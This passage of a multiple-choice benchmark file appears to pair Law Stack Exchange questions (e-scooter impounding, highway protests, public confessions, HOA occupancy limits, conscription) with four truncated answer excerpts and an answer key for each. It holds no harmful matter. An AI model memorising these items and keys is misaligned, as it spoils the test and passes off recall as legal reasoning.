Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "D": "Not going to hold up. Dutch Supreme Court confirmed 2012-09-21 in LJN BW6135 that arbitration is still covered by the the right to an independent judge, as established in Golder v UK , ECHR 1975-02-21, nr. 4451/70. Stack Exchange can't decide the rules themselves. (The Dutch case confirms that sector-wide arbitration is in fact legal, with regard to a standard arbitration clause commonly used in the Dutch building sector. The arbiter was found to be independent in that case precisely because they weren't picked by the builder involved.) The GDPR is only indirectly relevant, but the fact that it's mentioned..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/28180/how-does-ses-arbitration-clause-hold-up-under-the-gdpr"} {"id": "law_43175", "domain": "law", "question_title": "Is it legal for private citizens to "impound" e-scooters?", "question_body": "This recent article from The Verge claims that two men in San Diego have create a repo company that impounds e-scooters from companies like Lime, Bird, Lyft, Uber and Razor. However as far as I can tell these guys are doing this entirely on their own accord. They don't have a license from the city. They write \"tickets\" in their own system and charge their own rates. They are called not by police but by random business owners. To me this sounds like straight theft and extortion. Is this something they are legally allowed to do? The article claims that they are now being sued by all these big corporations, but it's unclear to my why this is being treated as a civil matter and not a criminal one.", "question_score": 63, "question_tags": ["california", "theft", "trespass", "extortion"], "choices": {"A": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "B": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "C": "Maybe, Hence the Lawsuits In the absence of clear statute law these all circle around tort law. For the scooter companies, trespass to chattels , and for the affected landowners (who hire the removalists) trespass to land and nuisance seem applicable. In essence, I can’t take your stuff (trespass to chattels) but you can’t leave your stuff on my property (trespass to land) or impeding access to it (nuisance). If you do, I am entitled to the reasonable costs of dealing with it. Note that, as owner, you remain responsible for you stuff even if you rented it to someone...", "D": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/43175/is-it-legal-for-private-citizens-to-impound-e-scooters"} {"id": "law_15190", "domain": "law", "question_title": "What power do I have as a driver if my interstate route is blocked by a protest?", "question_body": "I recently read about protests blocking an interstate. I feel like ethically no one no (non-police) citizen has the right to obstruct my travel (on a public interstate for the sake of protest), therefore I'm interested to know if I personally have any legal route to retaliate against the individuals stopping my travel (exercising their rights at the expense of mine). Just because I think I should have the right to slowly push through a crowd unlawfully impeding my travel, doesn't make it the law, unfortunately. But that's why we have laws, right? So we can retaliate against people we feel are impeding our freedom in a peaceful manner. My question is simply of whether I have the ability to legally retaliate against the protesters who may have just made me an hour late for an important event by blocking a public freeway. Edit: Another way to look at it: If a police officer detained me without cause, and there were witnesses and video to verify this, I could sue the police department and win. Why then, can a group of citizens detain me without cause, without also facing legal repercussion? I'm curious to know what legal grounds I would have in this situation to travel unobstructed. Can I only call the police and hope they press charges? Can I video the protesters and press charges against each of them, even sue each protester for damages? In other words, is there any way for me to retaliate against the (unlawful) protesters legally and peacefully? Note: Many are responding with something along the lines of \"What if it were an accident? You couldn't press charges on the drivers in an accident for detaining you\". There's a huge difference between being detained by an accident, and a group of people intentionally and unlawfully detaining me on a public freeway. So I really don't understand these responses. My initial wording to the question seemed to confuse my intentions and lead to alot of \"no, you can't run them over\" rhetoric (which wasn't actually my question at all), so I've edited and simplified the question.", "question_score": 62, "question_tags": ["united-states", "travel"], "choices": {"A": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "B": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "C": "Powers What power do I have as a driver if my interstate route is blocked by a protest? As an ordinary citizen, no powers in most jurisdictions. You have the right to report obstruction of the highway to the local police. You likely have the right to sue those people if you have evidence of significant harm they have caused you. Right to Obstruct I feel like ethically no one has the right to obstruct my travel You are wrong to put this in absolute terms. For example, a roadworker holding a \"stop\" sign has the right to temporarily obstruct...", "D": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/15190/what-power-do-i-have-as-a-driver-if-my-interstate-route-is-blocked-by-a-protest"} {"id": "law_3381", "domain": "law", "question_title": "How do people publicly admit to criminal activity and not typically get arrested?", "question_body": "I've noticed that people on YouTube and even on TV would sometimes say things like \"I used to take lots of coke a few years ago\" or \"I used to smoke weed daily until this and that\" or \"Yea, I smoke weed every once in a while,\" or \"I used to pirate games a lot when I was a bit younger\" or \"I used pirated Windows and Photoshop until I got a job,\" etc., etc.. Basically they are confessing to a crime, on public record, couldn't anyone come after them? They've already confessed - technically all that would have to be done is a trial. In these cases: possession of coke, weed, pirating games and software. In some cases - admittance that they will do it again soon - smoke weed (\"I smoke it once in a while\"). I just keep wondering every time I hear or read it... I thought finally it's time to ask people who know what they're talking about and who may be able to satisfy my curiosity and help me understand. Hope the tags are right.", "question_score": 60, "question_tags": ["criminal-law", "online-piracy", "punishment"], "choices": {"A": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "B": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "C": "Unless the Youtube Video shows them committing a crime, then no, they couldn't be arrested and tried for a crime. Them saying it, not under oath, is just hearsay that has no evidentiary value unless there is already other evidence they have committed a crime. In that case, its an admission. But there must be other, either circumstantial, or actual physical evidence of a crime. Past intoxication is not a crime, either. Possession of drugs, if caught with them is. But saying you got high is not. People have walked into police stations and confessed to murders. But with no...", "D": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/3381/how-do-people-publicly-admit-to-criminal-activity-and-not-typically-get-arrested"} {"id": "law_37408", "domain": "law", "question_title": "Can I legally make a website about boycotting a certain company?", "question_body": "Located in the US. Can I make a website which is specifically aimed at boycotting a certain company? There is no lawsuit between myself and the company. There would be no defamation on the website and no editorials or subjective content. There might be links to editorials hosted on other websites. This website content would simply be information about alternatives. However, I would want the name of the website, including the domain name itself, to have the name of the company this is in reference to. For example, boycott- company .com", "question_score": 59, "question_tags": ["united-states", "website"], "choices": {"A": "The article says: Defense lawyers say the evidence does not show a celebration of violence. Which implies that the prosecution claimed exactly that, or at least that the defense anticipates the prosecution to claim something along those lines. The article also says [ bold italic emphasis mine]: Defense lawyers for Rhodes have previously addressed the dinner, saying that prosecutors’ theory of the episode is incorrect. Rhodes’ lawyers said in a court filing the dinner is evidence that the militia leader wasn’t working to foment a revolution . “ The conditions would never be better . Yet, Rhodes and the others...", "B": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between...", "C": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against...", "D": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/37408/can-i-legally-make-a-website-about-boycotting-a-certain-company"} {"id": "law_71149", "domain": "law", "question_title": "HOA Prohibits "Large Families"", "question_body": "My wife and I have found a vacant lot (this is in Utah, BTW) where we would like to build a house. However, the HOA that the lot belongs to does not allow more than four occupants, regardless of the size of the home. The CCR actually says (community name) is designed and intended to be for a specific lifestyle. Neither the Units nor the common areas are designed to accommodate large families. Permanent residents of (community name) shall be restricted and limited to families with no more than four person's related by blood, marriage, or adoption. Does the HOA actually have authority to enforce this? What happens if we build a house (with plenty of room), move in with our two kids, and then have another baby?", "question_score": 59, "question_tags": ["real-estate", "hoa", "utah", "fair-housing-acts"], "choices": {"A": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "B": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "C": "There is a history of \"giving away patents\", which allows the original grantor to foster innovation instead of stifle it. Here are some examples: Sealand Industries - ISO Shipping Container Patented the standard shipping container, then gave away the patent royalty free, allowing a revolution in ocean going shipping. Annually it is estimated that $440 billion are shipped through these containers. Tesla - 200+ patents Elon Musk announced that the company \"will not initiate patent lawsuits against anyone who, in good faith, wants to use our technology.\" . Toyota - Hydrogen Fuel Cell Patents Released 5,680 patents related to hydrogen...", "D": "As stated, this is not a reasonable restriction and runs afoul of the Fair Housing Act . You cannot discriminate based on family status, with an exemption for \" housing for older persons \", and the act \"does not limit the applicability of reasonable local, state, or federal restrictions regarding the maximum number of occupants permitted to occupy a dwelling\" (let's leave aside HOA restrictions for a moment). The number of occupants can legally be restricted in terms of a reasonable relation to a legitimate interest such as parking availability, safety, noise or securing the property. A restriction based on..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/71149/hoa-prohibits-large-families"} {"id": "law_4483", "domain": "law", "question_title": "Can an employer withhold pay for a fire drill?", "question_body": "Moved from WorkplaceSE . Recently there was a routine fire drill in an office building. As with most fire drills, it took about half an hour for the fire drill to complete and for everyone to get back to work. When the employees got back to their desks, they were told to charge 30 minutes of time to an overhead charge number, but then management sent out a correction saying that they were not allowed to charge the time lost during the fire drill. Instead, they had to \"flex\" their time (that is, make up the 30 minutes at some other time during the pay period, or else take vacation time). Is this illegal, or just bad practice? Do these employees have any recourse? Any examples of similar times when an employer mandates a period of time that an employee NOT be allowed to work during normal working hours are welcome also. Jurisdiction is in Virginia, USA, but input from other areas welcome for my curiosity. This didn't affect me personally so I'm not searching for legal advice, but it happened to some close acquaintances of mine. For them, the cost of just working an extra 30 minutes is far less than getting lawyers involved, but it did pique my interest so I thought it was worth a question.", "question_score": 57, "question_tags": ["united-states", "employment"], "choices": {"A": "This seems to fall under the Federal Fair Labor Standards Act, and is defined as \"waiting time.\" From Employment Law Handbook : On-duty waiting time should be counted as hours worked. It is time spent by an employee, typically during normal work hours, waiting for direction from their team lead, supervisor, or manager. These on-duty waiting time periods usually last only for a short time and can be unpredictable as to when they occur and how long they will last. The employee is generally not allowed to leave the workplace during a period of on-duty waiting time. Essentially, because the...", "B": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "C": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "D": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/4483/can-an-employer-withhold-pay-for-a-fire-drill"} {"id": "law_38347", "domain": "law", "question_title": "Can I sign legal documents with a smiley face?", "question_body": "The signature on my driver's license is a unique and identifiable smiley face :-) I use this signature to sign all legally binding documents. A lot of the time, people reject it, and request an \"actual signature\". I then show them that it is the same signature as my driver's license, and they usually, (but not always,) accept it. Is my signature legal? Or must it be my name? If it is legal, is it a bad idea?", "question_score": 57, "question_tags": ["united-states", "contract-law", "signature"], "choices": {"A": "Can I sign legal documents with a smiley face? Yes, that is lawful. A person's signature does not necessarily have to include the person's name or initials. What matters is that the signature reliably and unequivocally identifies the person who produces it, which apparently you have been able to prove by showing your driver's license. The Black's Law Dictionary (4th Edition) states in its entry for signature that \" whatever mark, symbol, or device one may choose to employ as representative of himself is sufficient \". It directs to the entry for sign , which likewise speaks in terms of...", "B": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "C": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "D": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/38347/can-i-sign-legal-documents-with-a-smiley-face"} {"id": "law_38916", "domain": "law", "question_title": "Landlord wants to switch my lease to a "Land contract" to "get back at the city"", "question_body": "I've been living at this place for about two months and my lease looks pretty typical. Nothing unusual. I've had no problems so far. Today my landlord called me and explained something about the city wanting to charge him for a rental inspection that only covers the outside of the house, and so he's outraged that he has to pay for some guy to just look at the house from the sidewalk. He then explained that his plan is to present me with a \"land agreement\" and also a contract to invalidate the current lease so that I'm just paying him for the land agreement instead. I'm pretty confused about this whole thing and it doesn't seem right. Through some quick googling, it sounds like I'd suddenly have to pay taxes on the property as if I owned it. Suddenly I would become responsible for paying the fee he's complaining about? Not to mention I don't know if any tenant rights apply anymore. I'm deeply confused and would like to know if this is a thing many landlords try to do and whether there's anything I should start doing to cover myself if my landlord starts getting weirder. Update: He says it could be a few months before he has the land contract for me to sign. I haven't agreed to anything and told him I'm going to check with a lawyer before taking any action. Update 2: I'm not going to be signing anything and am going to be upfront about that rather than entertain the notion of having a lawyer look over the agreement. Thanks everyone!", "question_score": 57, "question_tags": ["united-states", "rental-property", "landlord", "ohio"], "choices": {"A": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable...", "B": "In the US, any legal restrictions on names are implemented at the state level——although broad administrative restrictions exist on the federal level. Some states may restrict use of diacritics (ubiquitous in Vietnamese) or Arabic numerals (but not Roman numerals). At the other extreme, in Washington state, there is no requirement to include a name at all in the case of live birth of known parentage . In the case of delayed report of live birth , and \"An individual requesting the delayed report of live birth of an individual under twelve years of age must establish the facts concerning full...", "C": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across...", "D": "A \"land contract\" is not a way of renting property, it is a way of purchasing property on an installment basis without bank financing. It is Ohio's version of what in some other places is known as \"contract for deed\". See \"What is a Land Contract in Ohio\" and \"How Land Contracts Work\" The actual law is Section 5313 . In a land contract, the buyer has equitable but not legal title. The buyer normally pays all taxes and fees, and is responsible for maintaining the property, just as if s/he has bought the property. But if the buyer defaults,..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/38916/landlord-wants-to-switch-my-lease-to-a-land-contract-to-get-back-at-the-city"} {"id": "law_33056", "domain": "law", "question_title": "What is the meaning of “and subject to the jurisdiction thereof” in the 14th amendment?", "question_body": "In the fourteenth amendment, what does the phrase “and subject to the jurisdiction thereof” contribute? What people born in the United States would not have been subject to the jurisdiction of the United States? All persons born or naturalized in the United States, and subject to the jurisdiction thereof, are citizens of the United States and the State wherein they reside. Now answer the same question restated using original wording to include within \"The Jurisdiction\": would the formulation below have a different legal meaning? All persons born or naturalized in the United States are citizens of the United States and the State wherein they reside. (Purely theoretical legal question; no relation to current events.)", "question_score": 56, "question_tags": ["us-constitution", "fourteenth-amendment"], "choices": {"A": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "B": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "C": "In the case of United States vs Wong Kim Ark 169 U.S. 649 (1898) (a 6-2 decision), the Supreme Court wrote: [T]he real object of the Fourteenth Amendment of the Constitution, in qualifying the words, \"All persons born in the United States\" by the addition \"and subject to the jurisdiction thereof,\" would appear to have been to exclude, by the fewest and fittest words (besides children of members of the Indian tribes, standing in a peculiar relation to the National Government, unknown to the common law), the two classes of cases -- children born of alien enemies in hostile occupation...", "D": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/33056/what-is-the-meaning-of-and-subject-to-the-jurisdiction-thereof-in-the-14th-ame"} {"id": "law_73561", "domain": "law", "question_title": "Why isn't a draft (conscription) slavery?", "question_body": "The 13th Amendment bans all slavery except for \"a punishment for crime whereof the party shall have been duly convicted.\" It doesn't appear to contain any language about military service or national security. A draft is involuntary work that there is no way to opt out of. They can send you anywhere in the world and force you to perform any tasks they want, even some tasks that would be illegal for civilians (like killing people). If you refuse, you go to jail. Why isn't this considered slavery?", "question_score": 55, "question_tags": ["united-states", "military", "slavery"], "choices": {"A": "Yes, that’s allowed. Under the Stack Exchange terms of service , content you upload is licensed to Stack Exchange Inc. on a non-exclusive basis under CC-BY-SA 4.0. The terms of service do not give Stack Exchange the copyright to your contributions, and a non-exclusive license means you are not promising Stack Exchange that “only Stack Exchange will be allowed to use this content.” That means you can continue to do whatever you want with your own content and do not need to mention Stack Exchange at all. The only restriction is that you can’t stop Stack Exchange from continuing to...", "B": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "C": "The only real answer is that the US Supreme Court, in interpreting the constitution, and specifically the argument that the 13th Amendment prohibits a draft for compelled military services has totally rejected that argument. For many years now the US has not used a draft, and it is obviously possible for the US to have an enduring and powerful military without any draft, which was perhaps not apparent to the Justices in 1918. A draft had been common in this country from the colonial period, through the Revolution, the Civil War, World Wars I and II, the Korean War, and...", "D": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms...."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/73561/why-isnt-a-draft-conscription-slavery"} {"id": "law_30098", "domain": "law", "question_title": "Course of action in a criminal case when there is no conceivable defense", "question_body": "I am not a lawyer or a law student; my work is in mathematics, but I like to learn about criminal law as a hobby. I have spent some time googling and searching to find an answer to my question but have found no results. Here is what I am interested in knowing: Suppose a public defender is assigned a criminal case — let's say the charges are gross misdemeanor or nonviolent felony — and there is quite literally no conceivable defense for the client. The prosecution has compelling evidence for all elements of the crime, action, and any required culpability. At this point, what do you do for your client? My best guess would be to put heavy effort into plea bargaining, but this scenario is something that is hard for me to learn about in my hobbyist pursuits because it isn't very well documented. It seems like something you learn from experience, and could depend greatly on the individual attorney and their relationships with the prosecutors in the jurisdiction. The only thing I can find that relates to my question is information about the strategies of lawyers who defended notorious murderers who were overwhelmingly guilty. I would like the scope of my question to be something less serious and less complicated than that. In most of those cases, the defenses' main goal was to keep them out of a death penalty, and the trials were long and complicated. Also, to be thorough, please feel free to note / comment on any of the following in an answer: You know there is practically no conceivable defense for your client; how does that change your efforts in plea bargaining? Let's say the prosecutor won't budge - not a single plea offer. You know there is practically no conceivable defense for your client - what do you do when the case goes to trial? At any point, is it a matter of ethics to make it clear to your client that there is no conceivable defense for their case and your primary service as their counsel will be to provide guidance through the confusing and complicated legal / court process and help make sure their rights to a fair trial are upheld? Now suppose you are not necessarily a public defender but a private attorney for hire. Someone comes to you looking to hire you for counsel on the type of charges outlined above. There is little to no conceivable defense. Do you take the case? If so, do you tell them this before negotiating a price? I understand my question is certainly subjective. The answer could vary greatly from case to case, dependent on countless variables. I do, however, still think it is constructive and on topic because it can be answered on a high level as to how to initially assess those variables and form a strategy. I am open to feedback for how to improve my question. Please edit tags as needed.", "question_score": 54, "question_tags": ["united-states", "criminal-law"], "choices": {"A": "There is precedent for the idea that double jeopardy need not apply when the initial trial was a sham because the judge and/or jury had been bribed. See Aleman v. Judges of Cook County Circuit Court , 138 F.3d 302 (7th Cir. 1998) . This case was very similar to your hypothetical: Aleman was initially acquitted of a murder, but years later it came to light that he had bribed the judge (in a bench trial). He was retried and convicted in state court. He appealed his conviction on the grounds of double jeopardy, but the Seventh Circuit denied his...", "B": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution.", "C": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation...", "D": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/30098/course-of-action-in-a-criminal-case-when-there-is-no-conceivable-defense"} {"id": "law_31368", "domain": "law", "question_title": "How does the mandate to report income from illegal activities in the US jibe with the Fifth Amendment?", "question_body": "Al Capone was famously taken down for tax evasion for not reporting income from his illegal activities. If someone were to report the income from illegal activities like a marijuana dispensary or a bribe, my understanding is that they would be then investigated/prosecuted for their disclosed activities. However, The Fifth Amendment states that: No person ... shall be compelled in any criminal case to be a witness against himself,... Since reporting income, even if illegal, is a mandate and the Fifth Amendment protects against someone being held as a witness against themselves, the law seems to be inconsistent. How does the mandate to report income from illegal activities in the US jibe with the Fifth Amendment right against self incrimination?", "question_score": 52, "question_tags": ["united-states", "tax-law", "fifth-amendment"], "choices": {"A": "There is precedent for the idea that double jeopardy need not apply when the initial trial was a sham because the judge and/or jury had been bribed. See Aleman v. Judges of Cook County Circuit Court , 138 F.3d 302 (7th Cir. 1998) . This case was very similar to your hypothetical: Aleman was initially acquitted of a murder, but years later it came to light that he had bribed the judge (in a bench trial). He was retried and convicted in state court. He appealed his conviction on the grounds of double jeopardy, but the Seventh Circuit denied his...", "B": "Powers What power do I have as a driver if my interstate route is blocked by a protest? As an ordinary citizen, no powers in most jurisdictions. You have the right to report obstruction of the highway to the local police. You likely have the right to sue those people if you have evidence of significant harm they have caused you. 